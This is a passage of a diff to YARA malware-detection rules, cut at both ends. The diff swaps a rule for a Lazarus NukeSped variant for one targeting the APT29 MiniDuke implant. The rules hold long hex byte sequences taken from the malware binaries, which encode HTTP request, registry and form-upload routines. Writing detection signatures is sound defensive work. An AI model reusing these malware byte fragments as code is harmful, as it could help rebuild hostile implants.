7b f2 ff c6 45 fc 34 8d 85 90 fc ff ff 50 8d 85 80 fb ff ff 8b cb 50 e8 bd 74 00 00 8b f0 c6 45 fc 35 8d 87 d0 00 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 d0 00 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 c3 2e f6 ff c6 45 fc 34 8d 8d 80 fb ff ff e8 a4 7e f2 ff c6 45 fc 33 83 bd a4 fc ff ff 10 72 0e ff b5 90 fc ff ff e8 71 0d 17 00 83 c4 04 c7 85 a4 fc ff ff 0f 00 00 00 c7 85 a0 fc ff ff 00 00 00 00 c6 85 90 fc ff ff 00 c6 45 fc 1b 83 bd 28 fc ff ff 10 72 0e ff b5 14 fc ff ff e8 3b 0d 17 00 83 c4 04 c7 85 28 fc ff ff 0f 00 00 00 c7 85 24 fc ff ff 00 00 00 00 c6 85 14 fc ff ff 00 57 bf 0b 3b 0e 02 31 cf 21 d7 21 ff bf 2b 34 81 13 21 c7 09 cf 5f 56 be 22 0c d2 00 be 80 41 78 6d 31 e6 21 ee be 55 13 41 71 90 5e 8d 8d 1c ff ff ff c7 85 1c ff ff ff 48 74 74 70 51 8d 85 32 ff ff ff c7 85 20 ff ff ff 41 64 64 52 50 51 8d 8d 2c fc ff ff c7 85 24 ff ff ff 65 71 75 65 c7 85 28 ff ff ff 73 74 48 65 c7 85 2c ff ff ff 61 64 65 72 66 c7 85 30 ff ff ff 73 57 e8 67 7a f2 ff c6 45 fc 36 83 78 14 10 72 02 8b 00 50 8d 8d 38 fd ff ff e8 af 79 f2 ff c6 45 fc 37 8d 85 38 fd ff ff 50 8d 85 c8 fb ff ff 8b cb 50 e8 36 b1 ff ff 8b f0 c6 45 fc 38 8d 87 e8 00 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 e8 00 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 5c 2d f6 ff c6 45 fc 37 8d 8d c8 fb ff ff e8 3d 7d f2 ff c6 45 fc 36 83 bd 4c fd ff ff 10 72 0e ff b5 38 fd ff ff e8 0a 0c 17 00 83 c4 04 c7 85 4c fd ff ff 0f 00 00 00 c7 85 48 fd ff ff 00 00 00 00 c6 85 38 fd ff ff 00 c6 45 fc 1b 83 bd 40 fc ff ff 10 72 0e ff b5 2c fc ff ff e8 d4 0b 17 00 83 c4 04 c7 85 40 fc ff ff 0f 00 00 00 c7 85 3c fc ff ff 00 00 00 00 c6 85 2c fc ff ff 00 50 b8 dc 4d a8 4d b8 4f 50 97 15 b8 97 55 f0 68 01 c0 01 e8 90 58 50 b8 e6 6f 71 3c 21 e0 21 e8 21 f0 21 c0 31 f0 b8 fa 02 db 55 58 8d 8d 7c ff ff ff c7 85 7c ff ff ff 48 74 74 70 51 8d 45 8c c7 45 80 53 65 6e 64 50 51 8d 8d 60 fc ff ff c7 45 84 52 65 71 75 c7 45 88 65 73 74 57 e8 1f 79 f2 ff c6 45 fc 39 83 78 14 10 72 02 8b 00 50 8d 8d 08 fd ff ff e8 67 78 f2 ff c6 45 fc 3a 8d 85 08 fd ff ff 50 8d 85 f8 fb ff ff 8b cb 50 e8 4e 75 00 00 8b f0 c6 45 fc 3b 8d 87 00 01 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 00 01 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 14 2c f6 ff c6 45 fc 3a 8d 8d f8 fb ff ff e8 f5 7b f2 ff c6 45 fc 39 83 bd 1c fd ff ff 10 72 0e ff b5 08 fd ff ff e8 c2 0a 17 00 83 c4 04 c7 85 1c fd ff ff 0f 00 00 00 c7 85 18 fd ff ff 00 00 00 00 c6 85 08 fd ff ff 00 c6 45 fc 1b 83 bd 74 fc ff ff 10 72 0e ff b5 60 fc ff ff e8 8c 0a 17 00 83 c4 04 c7 85 74 fc ff ff 0f 00 00 00 c7 85 70 fc ff ff 00 00 00 00 c6 85 60 fc ff ff 00 50 01 c8 21 f8 b8 f5 2f 8f 4d 01 e8 09 d0 01 c0 b8 4e 35 2f 2a 58 52 ba 6d 65 6b 13 01 fa 09 da 31 c2 09 da ba c9 1d 51 12 31 c2 5a 8d 4d 9c c7 45 9c 48 74 74 70 51 8d 45 aa c7 45 a0 51 75 65 72 50 51 8d 8d 48 fc ff ff c7 45 a4 79 49 6e 66 66 c7 45 a8 6f 57 e8 de 77 f2 ff c6 45 fc 3c 83 78 14 10 72 02 8b 00 50 8d 8d 50 fd ff ff e8 26 77 f2 ff c6 45 fc 3d 8d 85 50 fd ff ff 50 8d 85 98 fb ff ff 8b cb 50 e8 4d 77 00 00 8b f0 c6 45 fc 3e 8d 9f 18 01 00 00 3b de 74 24 8b 4b 10 85 c9 74 15 8b 11 3b cb 0f 95 c0 0f b6 c0 50 ff 52 10 c7 43 10 00 00 00 00 56 8b cb e8 d9 2a f6 ff c6 45 fc 3d 8d 8d 98 fb ff ff e8 ba 7a f2 ff c6 45 fc 3c 83 bd 64 fd ff ff 10 72 0e ff b5 50 fd ff ff e8 87 09 17 00 83 c4 04 c7 85 64 fd ff ff 0f 00 00 00 c7 85 60 fd ff ff 00 00 00 00 c6 85 50 fd ff ff 00 c6 45 fc 1b 83 bd 5c fc ff ff 10 72 0e ff b5 48 fc ff ff e8 51 09 17 00 83 c4 04 c7 85 5c fc ff ff 0f 00 00 00 c7 85 58 fc ff ff 00 00 00 00 c6 85 48 fc ff ff 00 56 01 d6 19 ee be ed 3e 23 0c 01 fe 21 e6 be db 1f 20 70 31 e6 5e 57 29 c7 bf 8d 30 ff 05 bf 4e 30 f9 71 19 f7 29 f7 31 ff 09 ef 5f 68 b8 b3 2b 10 8d 8d d8 fc ff ff e8 22 76 f2 ff c6 45 fc 3f 8d 8d d8 fc ff ff e8 f3 e5 f3 ff 8b f0 c6 45 fc 1b 83 bd ec fc ff ff 10 72 0e ff b5 d8 fc ff ff e8 ce 08 17 00 83 c4 04 c7 85 ec fc ff ff 0f 00 00 00 c7 85 e8 fc ff ff 00 00 00 00 c6 85 d8 fc ff ff 00 52 ba 13 63 67 6d ba 64 19 d5 47 ba 08 52 da 36 01 ea 29 f2 90 5a 55 bd 53 0d b6 39 bd 54 64 02 7d bd 29 00 37 0f 09 d5 31 c5 90 5d 8d 45 c0 8b ce 50 e8 f4 f0 f4 ff c6 45 fc 40 52 29 c2 ba a5 19 33 0c 19 ea 31 e2 01 c2 ba 3c 66 39 43 29 ca 5a 52 ba f7 42 4e 7a 09 d2 19 c2 19 e2 01 e2 21 ca 01 ca 01 da 90 5a 8d 45 d8 8b ce 50 e8 c9 fa f4 ff c6 45 fc 41 57 01 df 09 d7 bf 16 71 1b 6c bf 80 30 fd 65 01 ff 19 f7 21 ef 5f 50 29 e8 b8 6d 44 90 22 01 e8 21 c8 b8 17 5e 05 78 09 f0 01 e8 58 83 7d d0 00 76 5b 83 7d d4 08 8b 45 c0 73 03 8d 45 c0 83 7d ec 08 8b 4d d8 73 03 8d 4d d8 83 ec 08 50 6a 03 51 8d 4f 40 e8 3c 87 ff ff 89 87 a0 04 00 00 52 31 e2 01 e2 ba b7 14 98 25 01 ca ba 2f 1e d7 1b 19 f2 29 d2 5a 57 bf 75 4c a1 10 bf dc 04 47 09 01 d7 bf 9e 5f 9a 0e 01 e7 90 5f eb 4e 83 7d ec 08 8b 45 d8 73 03 8d 45 d8 83 ec 08 8d 4f 40 6a 00 6a 01 50 e8 ec 86 ff ff 89 87 a0 04 00 00 53 bb ea 4a 79 17 21 eb 31 db bb b9 2c e1 4c 09 d3 21 eb 19 c3 5b 51 b9 91 6c 71 6d b9 64 25 d3 02 19 c1 19 c1 31 e1 29 f1 29 d9 59 83 bf a0 04 00 00 00 0f 85 a6 00 00 00 8d 8d e4 fe ff ff c7 85 e4 fe ff ff 43 61 6e 6e 51 8d 85 00 ff ff ff c7 85 e8 fe ff ff 6f 74 20 70 50 51 8d 8d 68 fb ff ff c7 85 ec fe ff ff 65 72 66 6f c7 85 f0 fe ff ff 72 6d 20 49 c7 85 f4 fe ff ff 6e 74 65 72 c7 85 f8 fe ff ff 6e 65 74 4f c7 85 fc fe ff ff 70 65 6e 21 e8 bd 74 f2 ff c6 45 fc 42 83 78 14 10 } + $seq2 = { 59 52 29 d2 ba 02 4d d2 52 ba 5f 54 50 4f 29 ea 29 c2 01 ea 01 e2 5a 56 21 ee 01 ee be 38 36 21 60 31 f6 19 ce 29 d6 be 13 6c 2d 6f 5e 85 c0 0f 85 0a 02 00 00 8d 8d 1c fe ff ff c7 85 1c fe ff ff 43 61 6e 6e 51 8d 85 5e fe ff ff c7 85 20 fe ff ff 6f 74 20 69 50 51 8d 8d c4 f7 ff ff c7 85 24 fe ff ff 6e 69 74 69 c7 85 28 fe ff ff 61 6c 69 7a c7 85 2c fe ff ff 65 20 73 69 c7 85 30 fe ff ff 67 6e 65 72 c7 85 34 fe ff ff 21 20 43 61 c7 85 38 fe ff ff 6e 6e 6f 74 c7 85 3c fe ff ff 20 70 65 72 c7 85 40 fe ff ff 66 6f 72 6d c7 85 44 fe ff ff 20 43 72 79 c7 85 48 fe ff ff 70 74 41 63 c7 85 4c fe ff ff 71 75 69 72 c7 85 50 fe ff ff 65 43 6f 6e c7 85 54 fe ff ff 74 65 78 74 c7 85 58 fe ff ff 20 65 72 72 66 c7 85 5c fe ff ff 6f 72 e8 93 5b f1 ff c6 45 fc 46 83 78 14 10 72 02 8b 00 50 8d 8d f0 f9 ff ff e8 db 5a f1 ff c6 45 fc 47 ff d3 50 8d 85 f0 f9 ff ff 50 8d 8d 78 f8 ff ff e8 c2 e3 f8 ff 68 d4 4f 2e 10 8d 85 78 f8 ff ff 50 e8 3c 31 16 00 8d 8d 64 fe ff ff c7 85 64 fe ff ff 43 61 6e 6e 51 8d 85 a6 fe ff ff c7 85 68 fe ff ff 6f 74 20 69 50 51 8d 8d 94 f7 ff ff c7 85 6c fe ff ff 6e 69 74 69 c7 85 70 fe ff ff 61 6c 69 7a c7 85 74 fe ff ff 65 20 73 69 c7 85 78 fe ff ff 67 6e 65 72 c7 85 7c fe ff ff 21 20 43 61 c7 85 80 fe ff ff 6e 6e 6f 74 c7 85 84 fe ff ff 20 70 65 72 c7 85 88 fe ff ff 66 6f 72 6d c7 85 8c fe ff ff 20 43 72 79 c7 85 90 fe ff ff 70 74 41 63 c7 85 94 fe ff ff 71 75 69 72 c7 85 98 fe ff ff 65 43 6f 6e c7 85 9c fe ff ff 74 65 78 74 c7 85 a0 fe ff ff 20 65 72 72 66 c7 85 a4 fe ff ff 6f 72 e8 8e 5a f1 ff c6 45 fc 48 83 78 14 10 72 02 8b 00 } + $seq3 = { c7 85 1c f8 ff ff 07 00 00 00 c7 85 18 f8 ff ff 00 00 00 00 33 c0 66 89 85 08 f8 ff ff 53 19 f3 21 db 21 fb 31 f3 29 fb 19 f3 bb 9f 7a e7 00 21 fb 90 5b 52 ba 77 2c 66 51 ba 60 54 5a 36 19 ea 09 ca ba 32 36 94 1b 90 5a 53 09 eb bb 92 73 c4 2a bb d1 71 ed 5e 01 eb bb 9b 43 21 23 90 5b 50 b8 09 65 36 3a 09 c0 29 e8 29 f8 21 f8 b8 3d 39 c6 44 01 e8 58 89 85 78 fd ff ff 89 85 7c fd ff ff 89 85 80 fd ff ff 89 85 84 fd ff ff 89 85 88 fd ff ff 89 85 8c fd ff ff c7 85 88 f8 ff ff 52 65 67 4f c7 85 8c f8 ff ff 70 65 6e 4b c7 85 90 f8 ff ff 65 79 45 78 c6 85 94 f8 ff ff 57 89 85 48 f8 ff ff 89 85 4c f8 ff ff c7 85 4c f8 ff ff 0f 00 00 00 89 85 48 f8 ff ff 88 85 38 f8 ff ff 8d 85 95 f8 ff ff 50 8d 85 88 f8 ff ff 50 8d 85 38 f8 ff ff 50 50 8b c8 e8 99 c1 de ff c6 45 fc 0a 83 bd 4c f8 ff ff 10 8b 85 38 f8 ff ff 73 06 8d 85 38 f8 ff ff 50 8d } + $seq4 = { 31 e1 b9 e9 52 83 05 29 d1 01 f9 59 80 7d 0c 00 0f 84 fb 03 00 00 66 c7 85 70 fe ff ff 0d 0a c7 85 50 fe ff ff 0d 0a 2d 2d c7 85 14 fe ff ff 53 75 62 6d c7 85 18 fe ff ff 69 74 74 65 c6 85 1c fe ff ff 64 c7 85 78 fd ff ff 43 6f 6e 74 c7 85 7c fd ff ff 65 6e 74 2d c7 85 80 fd ff ff 44 69 73 70 c7 85 84 fd ff ff 6f 73 69 74 c7 85 88 fd ff ff 69 6f 6e 3a c7 85 8c fd ff ff 20 66 6f 72 c7 85 90 fd ff ff 6d 2d 64 61 c7 85 94 fd ff ff 74 61 3b 20 c7 85 98 fd ff ff 6e 61 6d 65 c7 85 9c fd ff ff 3d 22 65 6e c7 85 a0 fd ff ff 64 22 0d 0a 66 c7 85 a4 fd ff ff 0d 0a 8d 8d 70 fe ff ff 8d 85 72 fe ff ff 51 50 51 8d 8d 3c fa ff ff e8 b3 34 fb ff 8b d8 c6 45 fc 35 8d 8d 50 fe ff ff 8d 85 54 fe ff ff 51 50 51 8d 8d 6c fa ff ff e8 93 34 fb ff 8b f8 c6 45 fc 36 8d 8d 14 fe ff ff 8d 85 1d fe ff ff 51 50 51 8d 8d 84 fa ff ff e8 73 34 fb ff c6 45 fc 37 83 78 14 10 72 02 8b 00 50 8d 8d 1c f8 ff ff e8 bb 33 fb ff 89 85 7c fe ff ff c6 45 fc 38 8d 8d 78 fd ff ff 8d 85 a6 fd ff ff 51 50 51 8d 8d 80 f8 ff ff e8 37 34 fb ff c6 45 fc 39 83 78 14 10 72 02 8b 00 ff b5 7c fe ff ff 8b d0 8d 8d 04 f7 ff ff e8 88 4e fc ff 83 c4 04 c6 45 fc 3a 83 7f 14 10 72 02 8b 3f 57 8b d0 8d 8d 9c f8 ff ff e8 cb 60 fb ff c6 45 fc 3b 8d 4d d4 51 8b d0 8d 8d 74 f7 ff ff e8 96 b9 00 00 83 c4 08 c6 45 fc 3c 83 7b 14 10 72 02 8b 1b 53 8b d0 8d 8d b8 f8 ff ff e8 99 60 fb ff 83 c4 04 c6 45 fc 3d 6a ff 6a 00 50 8d 4d a4 e8 d5 39 fb ff c6 45 fc 3c 83 bd cc f8 ff ff 10 72 0e ff b5 b8 f8 ff ff e8 d2 c5 1f 00 83 c4 04 c7 85 cc f8 ff ff 0f 00 00 00 c7 85 c8 f8 ff ff 00 00 00 00 c6 85 b8 f8 ff ff 00 c6 45 fc 3b 83 bd 88 f7 ff ff 10 72 0e ff b5 74 f7 ff ff e8 9c c5 1f 00 83 c4 04 c7 85 88 f7 ff ff 0f 00 00 00 c7 85 84 f7 ff ff 00 00 00 00 c6 85 74 f7 ff ff 00 c6 45 fc 3a 83 bd b0 f8 ff ff 10 72 0e ff b5 9c f8 ff ff e8 66 c5 1f 00 83 c4 04 c7 85 b0 f8 ff ff 0f 00 00 00 c7 85 ac f8 ff ff 00 00 00 00 c6 85 9c f8 ff ff 00 c6 45 fc 39 83 bd 18 f7 ff ff 10 72 0e ff b5 04 f7 ff ff e8 30 c5 1f 00 83 c4 04 c7 85 18 f7 ff ff 0f 00 00 00 c7 85 14 f7 ff ff 00 00 00 00 c6 85 04 f7 ff ff 00 c6 45 fc 38 83 bd 94 f8 ff ff 10 72 0e ff b5 80 f8 ff ff e8 fa c4 1f 00 83 c4 04 c7 85 94 f8 ff ff 0f 00 00 00 c7 85 90 f8 ff ff 00 00 00 00 c6 85 80 f8 ff ff 00 c6 45 fc 37 83 bd 30 f8 ff ff 10 72 0e ff b5 1c f8 ff ff e8 c4 c4 1f 00 83 c4 04 c7 85 30 f8 ff ff 0f 00 00 00 c7 85 2c f8 ff ff 00 00 00 00 c6 85 1c f8 ff ff 00 c6 45 fc 36 83 bd 98 fa ff ff 10 72 0e ff b5 84 fa ff ff e8 8e c4 1f 00 83 c4 04 c7 85 98 fa ff ff 0f 00 00 00 c7 85 94 fa ff ff 00 00 00 00 c6 85 84 fa ff ff 00 c6 45 fc 35 83 bd 80 fa ff ff 10 72 0e ff b5 6c fa ff ff e8 58 c4 1f 00 83 c4 04 c7 85 80 fa ff ff 0f 00 00 00 c7 85 7c fa ff ff 00 00 00 00 c6 85 6c fa ff ff 00 c6 45 fc 27 83 bd 50 fa ff ff 10 72 0e ff b5 3c fa ff ff e8 22 c4 1f 00 83 c4 04 c7 85 50 fa ff ff 0f 00 00 00 c7 85 4c fa ff ff 00 00 00 00 c6 85 3c fa ff ff 00 53 19 d3 bb 18 4a 91 1c 21 c3 bb 82 54 5d 2c bb b0 08 2a 58 90 5b 51 21 e9 b9 b9 6e b4 14 31 f1 01 c1 01 f9 19 e1 21 d9 09 f9 90 59 56 be cd 3a 33 5a be 85 1b aa 6f be 1e 6c 78 2d 19 d6 21 e6 90 5e 53 31 f3 bb 8c 21 88 0d 31 db 31 eb 19 d3 19 f3 31 f3 01 f3 90 5b 80 7e 40 00 0f 85 03 06 00 00 66 c7 85 60 fe ff ff 0d 0a c7 85 48 fe ff ff 0d 0a 2d 2d c7 85 d8 fc ff ff 43 6f 6e 74 c7 85 dc fc ff ff 65 6e 74 2d c7 85 e0 fc ff ff 44 69 73 70 c7 85 e4 fc ff ff 6f 73 69 74 c7 85 e8 fc ff ff 69 6f 6e 3a c7 85 ec fc ff ff 20 66 6f 72 c7 85 f0 fc ff ff 6d 2d 64 61 c7 85 f4 fc ff ff 74 61 3b 20 c7 85 f8 fc ff ff 6e 61 6d 65 c7 85 fc fc ff ff 3d 22 63 73 c7 85 00 fd ff ff 72 66 5f 74 c7 85 04 fd ff ff 6f 6b 65 6e c7 85 08 fd ff ff 22 0d 0a 0d c6 85 0c fd ff ff 0a 8d 8d 60 fe ff ff 8d 85 62 fe ff ff 51 50 51 8d 8d 00 f9 ff ff e8 b7 30 fb ff 8b d8 c6 45 fc 3e 8d 8d 48 fe ff ff 8d 85 4c fe ff ff 51 50 51 8d 8d 30 f9 ff ff e8 97 30 } + $op1 = { 37 25 38 3d 38 43 38 5e 38 6c 38 77 38 } + $op2 = { 3f 25 3f 36 3f 66 3f 74 3f } + $op3 = { 68 66 43 78 28 6a 25 } + $op4 = { 61 46 25 7c 5f 56 21 } condition: - uint16( 0 ) == 0x5a4d and filesize > 300KB and 4 of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 350KB and 2 of ( $seq* ) and 3 of ( $op* ) } -rule ARKBIRD_SOLG_APT_Lazarus_Jun_2021_1 : FILE +rule ARKBIRD_SOLG_APT_APT29_Miniduke_Mar_2021_1 : FILE { meta: - description = "Detect a variant of NukeSped malware" + description = "Detect MiniDuke implant used by APT29 group" author = "Arkbird_SOLG" - id = "0f5d42c0-d6dc-573b-9227-787ccbcaa83d" - date = "2021-06-19" - modified = "2021-06-21" + id = "2faefc2f-afe3-51df-b530-50d3b3775071" + date = "2021-03-08" + modified = "2021-03-10" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-19/Lazarus/APT_Lazarus_Jun_2021_1.yara#L1-L20" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_MiniDuke_Mar_2021_1.yar#L1-L20" license_url = "N/A" - logic_hash = "ea4ce93d54b9b8e5d1d5bb64d37ac26839e2fa3200da3057597d83c4be6d129f" - score = 75 + logic_hash = "2fcbe37f9ee26a246bfc397cc907bb570a01d0f5b8e323a81aae0f6426b60435" + score = 50 quality = 75 tags = "FILE" - hash1 = "5c2f339362d0cd8e5a8e3105c9c56971087bea2701ea3b7324771b0ea2c26c6c" - hash2 = "2dff6d721af21db7d37fc1bd8b673ec07b7114737f4df2fa8b2ecfffbe608a00" - hash3 = "1177105e51fa02f9977bd435f9066123ace32b991ed54912ece8f3d4fbeeade4" - tlp = "White" - adversary = "Lazarus" + hash1 = "6057b19975818ff4487ee62d5341834c53ab80a507949a52422ab37c7c46b7a1" + level = "Experimental" strings: - $seq1 = { 48 8b ce e8 8a 2c 00 00 48 8b d8 48 85 c0 0f 84 28 06 00 00 4c 8b c6 33 d2 48 8b c8 e8 11 56 00 00 8d 4e fc 48 8d 57 04 4c 63 c1 48 8b cb e8 af 3a 00 00 33 c0 48 8d 4c 24 30 48 89 4c 24 28 45 33 c9 4c 8b c3 33 d2 33 c9 89 44 24 30 89 44 24 20 ff 15 4b 49 01 00 48 85 c0 0f 84 d4 05 00 00 ba 88 13 00 00 48 8b c8 ff 15 9c 2c 02 00 48 8d 8d 91 00 00 00 33 d2 41 b8 ff 03 00 00 c6 85 90 00 00 00 00 e8 a9 55 00 00 48 8d 15 02 c1 01 00 48 8d 8d 90 00 00 00 e8 16 2b 00 00 48 8d 85 90 00 00 00 48 83 cb ff 48 ff c3 80 3c 18 00 75 f7 41 b2 84 ba 43 90 21 57 41 b8 c2 a2 a9 09 85 db 0f 8e 4b 05 00 00 4c 8d 8d 90 00 00 00 44 8b db 66 90 41 0f b6 01 41 0f b6 c8 4d 8d 49 01 32 ca 41 32 c2 44 22 d1 41 32 c0 42 8d 0c c5 00 00 00 00 32 c2 41 33 c8 41 88 41 ff 81 e1 f8 07 00 00 41 0f b6 c0 22 c2 c1 e1 14 44 32 d0 41 8b c0 44 8b c1 c1 e8 08 8d 0c 12 33 ca 44 0b c0 8b c2 c1 e1 04 c1 e0 07 33 ca 83 e1 80 33 c8 8b c2 c1 e1 11 c1 e8 08 8b d1 0b d0 49 ff } - $seq2 = { 48 8d ac 24 50 ff ff ff 48 81 ec b0 01 00 00 48 8b 05 82 09 02 00 48 33 c4 48 89 85 a0 00 00 00 44 8b 25 d5 38 02 00 4c 8b f9 48 8d 4d 91 33 d2 41 b8 03 01 00 00 c6 45 90 00 e8 59 66 00 00 b9 3c 00 00 00 ff 15 f6 3c 02 00 ff 15 88 59 01 00 8b c8 e8 51 42 00 00 e8 20 42 00 00 b9 3c 00 00 00 8b d8 83 e3 03 83 c3 08 ff 15 d1 3c 02 00 ff 15 63 59 01 00 8b c8 e8 2c 42 00 00 e8 fb 41 00 00 b9 3c 00 00 00 8b f8 83 e7 01 83 c7 05 ff 15 ac 3c 02 00 ff 15 3e 59 01 00 8b c8 e8 07 42 00 00 e8 d6 41 00 00 8b f0 b8 ab aa aa aa f7 e6 d1 ea 8d 0c 52 2b f1 83 eb 08 0f 84 30 03 00 00 ff cb 0f 84 68 02 00 00 ff cb 0f 84 9a 01 00 00 ff cb 0f 85 ef 04 00 00 8d 4b 3c ff 15 60 3c 02 00 ff 15 f2 58 01 00 8b c8 e8 bb 41 00 00 e8 8a 41 00 00 8b d8 b8 1f 85 eb 51 f7 e3 c1 ea 03 6b ca 19 2b d9 b9 3c 00 00 00 83 c3 0a ff 15 2f 3c 02 00 ff 15 c1 58 01 00 8b c8 e8 8a 41 00 00 e8 59 41 00 00 44 8b f0 b8 ab aa aa aa 41 f7 e6 c1 ea 02 8d 0c 52 03 c9 44 2b f1 b9 3c 00 00 00 41 81 c6 d7 07 00 00 ff 15 f5 3b 02 00 ff 15 87 58 01 00 8b c8 e8 50 41 00 00 e8 1f 41 00 00 44 8b e8 b8 ab aa aa aa 41 f7 e5 c1 ea 03 8d 0c 52 c1 e1 02 44 2b e9 b9 3c 00 00 00 41 ff c5 ff 15 be 3b 02 00 ff 15 50 58 01 00 8b c8 e8 19 41 00 00 e8 e8 40 00 00 44 8b c0 b8 09 cb 3d 8d 41 f7 e0 c1 ea 04 6b ca 1d 44 2b c1 b9 7d 00 00 00 41 ff c0 44 89 44 24 74 e8 3e 3b 00 00 33 d2 44 8d 42 7d 48 8b c8 e8 d0 64 00 00 4c 8d 44 24 70 48 8d 0d d4 ce 01 00 ba 7c 00 00 00 c7 44 24 70 00 00 00 00 e8 c2 27 00 00 44 8b 44 24 70 48 8b d0 48 8b c8 48 89 44 24 78 e8 3d 25 00 00 48 8b 44 24 78 4c 8d 45 90 48 8b d0 4c 2b c0 0f 1f 40 00 66 66 0f 1f 84 00 00 00 00 00 0f b6 0a 48 8d 52 01 41 88 4c 10 ff 84 c9 75 f0 48 8b c8 e8 88 3a 00 00 8b 44 24 74 44 89 64 24 48 89 5c 24 40 89 44 24 38 44 89 6c 24 30 48 8d 55 90 44 8b cf 41 b8 04 00 00 00 49 8b cf 44 89 74 24 28 89 74 24 20 e8 b4 39 00 00 e9 5d 03 00 00 b9 3c 00 00 00 ff 15 cc 3a 02 00 ff 15 5e 57 01 00 8b c8 e8 27 40 00 00 e8 f6 3f 00 00 b9 79 00 00 00 8b d8 83 e3 03 e8 63 3a 00 00 33 d2 44 8d 42 79 48 8b c8 e8 f5 63 00 00 4c 8d 44 24 70 48 8d 0d 79 cd 01 00 ba 78 00 00 00 c7 44 24 70 00 00 00 00 e8 e7 26 00 00 44 8b 44 24 70 48 8b d0 48 8b c8 4c 8b f0 e8 64 24 00 00 4c 8d 45 90 49 8b d6 4d 2b c6 66 66 0f 1f 84 00 00 00 00 00 0f b6 0a 48 8d 52 01 41 88 4c 10 ff 84 c9 75 f0 49 8b ce e8 b8 39 00 00 44 89 64 24 38 8d 43 04 89 44 24 30 44 8d 4b 08 48 8d 55 90 41 b8 04 00 00 00 49 8b cf 89 74 24 28 89 } - $seq3 = { 48 89 5c 24 18 55 56 57 48 83 ec 70 48 8b 05 9d fe 01 00 48 33 c4 48 89 44 24 60 33 c0 48 8b d9 8b fa 8d 48 20 c6 44 24 48 00 48 89 44 24 49 48 89 44 24 51 e8 d7 31 00 00 48 8d 15 44 c6 01 00 48 8b f0 33 c0 48 8d 4c 24 48 48 89 06 48 89 46 08 48 89 46 10 4c 8b c3 48 89 46 18 e8 3f 13 00 00 48 8d 4c 24 48 ff 15 ac 50 01 00 bd 02 00 00 00 0f b7 cf 89 44 24 3c 66 89 6c 24 38 ff 15 a5 2e 02 00 8d 55 ff 44 8d 45 04 8b cd 66 89 44 24 3a ff 15 01 32 02 00 48 8b f8 48 83 f8 ff 75 20 48 8d 15 e1 c5 01 00 48 8b ce e8 81 30 00 00 48 0b df 48 ff c3 80 3c 1e 00 75 f7 e9 c9 00 00 00 48 8d 54 24 38 41 b8 10 00 00 00 48 8b c8 ff 15 f4 31 02 00 83 f8 ff 75 6b 48 8d 15 a8 c5 01 00 48 8b ce e8 48 30 00 00 48 83 cb } - $seq4 = { 40 55 48 8d ac 24 e0 fb ff ff 48 81 ec 20 05 00 00 48 8b 05 b8 fc 01 00 48 33 c4 48 89 85 10 04 00 00 48 8d 8d f1 00 00 00 33 d2 41 b8 03 01 00 00 c6 85 f0 00 00 00 00 e8 93 59 00 00 48 8d 8d 01 02 00 00 33 d2 41 b8 07 02 00 00 c6 85 00 02 00 00 00 e8 78 59 00 00 48 8d 4d e1 33 d2 41 b8 03 01 00 00 c6 45 e0 00 e8 63 59 00 00 48 8d 95 f0 00 00 00 41 b8 f4 01 00 00 33 c9 ff 15 2e 30 02 00 85 c0 0f 84 5e 01 00 00 48 8d 55 e0 b9 f4 01 00 00 48 89 9c 24 30 05 00 00 48 89 bc 24 38 05 00 00 ff 15 17 30 02 00 4c 8d 05 20 15 02 00 48 8d 4d e0 ba 04 01 00 00 e8 5a 37 00 00 48 8d 45 e0 4c 8d 0d f7 14 02 00 48 89 44 24 28 48 8d 85 f0 00 00 00 4c 8d 85 f0 00 00 00 48 8d 15 dd c3 01 00 48 8d 8d 00 02 00 00 48 89 44 24 20 e8 fc 10 00 00 33 ff 48 8d 4d e0 48 89 7c 24 30 44 8d 47 03 45 33 c9 ba 00 00 00 40 c7 44 24 28 80 00 00 00 c7 44 24 20 02 00 00 00 ff 15 6f 2f 02 00 48 8b d8 } - $seq5 = { 48 89 5c 24 10 48 89 74 24 18 48 89 7c 24 20 55 48 8d ac 24 70 f2 ff ff 48 81 ec 90 0e 00 00 48 8b 05 da ed 01 00 48 33 c4 48 89 85 80 0d 00 00 48 8b f1 48 8d 8d 81 05 00 00 33 d2 41 b8 ff 07 00 00 c6 85 80 05 00 00 00 e8 b2 4a 00 00 48 8d 4d 71 33 d2 41 b8 03 01 00 00 c6 45 70 00 e8 9d 4a 00 00 33 c0 c6 44 24 50 00 39 05 f4 1c 02 00 89 44 24 51 75 0b e8 b5 dd ff ff 89 05 e3 1c 02 00 48 8d 4d 70 e8 c6 e3 ff ff 8b 05 e8 b5 01 00 48 8d 8d 81 01 00 00 89 44 24 50 0f b6 05 da b5 01 00 33 d2 41 b8 ff 03 00 00 c6 85 80 01 00 00 00 88 44 24 54 e8 46 4a 00 00 48 8d 15 3f b6 01 00 48 8d 8d 80 01 00 00 e8 b3 1f 00 00 48 8d 4d 90 33 d2 0f 10 05 b6 b6 01 00 0f 10 0d bf b6 01 00 41 b8 d4 00 00 00 0f 29 44 24 60 0f 29 4c 24 70 0f 10 05 b8 b6 01 00 0f 29 45 80 e8 ff 49 00 00 48 83 cb ff 48 8b c3 0f 1f 84 } + $s1 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 6d 75 6c 74 69 70 61 72 74 2f 66 6f 72 6d 2d 64 61 74 61 3b 20 62 6f 75 6e 64 61 72 79 3d 00 00 00 00 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 